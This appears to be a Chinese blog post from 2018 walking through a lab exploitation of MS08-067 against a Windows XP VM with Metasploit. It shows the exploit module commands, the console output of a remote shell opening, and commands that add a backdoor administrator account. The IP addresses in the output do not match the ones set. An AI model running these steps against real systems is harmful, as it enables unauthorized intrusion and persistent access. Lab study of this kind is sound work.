MS08-067漏洞滲透測試
阿新 • • 發佈：2018-12-07
本人主專業資訊對抗，結果跑去搞php，實屬不務正業。。。。。。
最近要整個漏洞滲透測試實驗，搞完後覺得挺有意思所以就寫出來分享一下。
MS08-067漏洞會影響除Windows Server 2008 Core以外的所有Windows系統，包括：Windows2000/XP/Server 2003/Vista/Server 2008的各個版本，甚至還包括測試階段的Windows 7 Pro-Beta
1.安裝靶機
下載window xp sp3 英文版映象並安裝在vmvare虛擬機器上 靶機ip:192.168.65.128
2.安裝kali linux以及Metasploit框架
ps:系統和框架都是通過docker進行安裝操作的，所以需要先了解一下docker
執行docker 輸入命令 docker pull kalilinux/kali-linux-docker 獲取kali linux映象
輸入 docker -it --name kali_linux -p 0.0.0.0:8080:80 kalilinux/kali-linux-docker /bin/bash
建立容器並互動式執行容器 容器ip: 172.17.0.2
輸入
git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit獲取metasploit框架
完成後輸入 cd ./metasploit進入框架目錄
[email protected]:/metasploit# ./msfconsole
輸入 ./msfconsole 執行框架,成功後按如下步驟
msf5 > use exploit/windows/smb/ms08_067_netapi #使用MS08067漏洞攻擊程式 msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 172.17.0.2:#設定本地主機IP LHOST => 172.17.0.2: msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.65.128 #設定目標主機IP RHOST => 192.168.65.129 msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_bind_tcp #設定payload payload => windows/shell_bind_tcp msf5 exploit(windows/smb/ms08_067_netapi) > show options #檢視配置 Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.65.129 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.65.129 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf5 exploit(windows/smb/ms08_067_netapi) > exploit #實施攻擊 [*] 192.168.46.129:445 - Automatically detecting the target... [*] 192.168.46.129:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 192.168.46.129:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 192.168.46.129:445 - Attempting to trigger the vulnerability... [*] Started bind TCP handler against 192.168.46.129:4444 [*] Command shell session 1 opened (172.17.0.2:37763 -> 192.168.46.129:4444) at 2018-11-09 09:59:01 +0000 C:\WINDOWS\system32>
攻擊成功,獲取到目標主機cmdshell
接下來新建賬號 新增使用者名稱為xiayujie，密碼為xiayujie的使用者，並把xiayujie使用者新增到管理組
C:\WINDOWS\system32>net user xiayujie xiayujie /add && net localgroup administrators xiayujie /add net user xiayujie xiayujie /add && net localgroup administrators xiayujie /add The command completed successfully. #新增成功
有了cmdshell許可權，接下來想做什麼就都可以了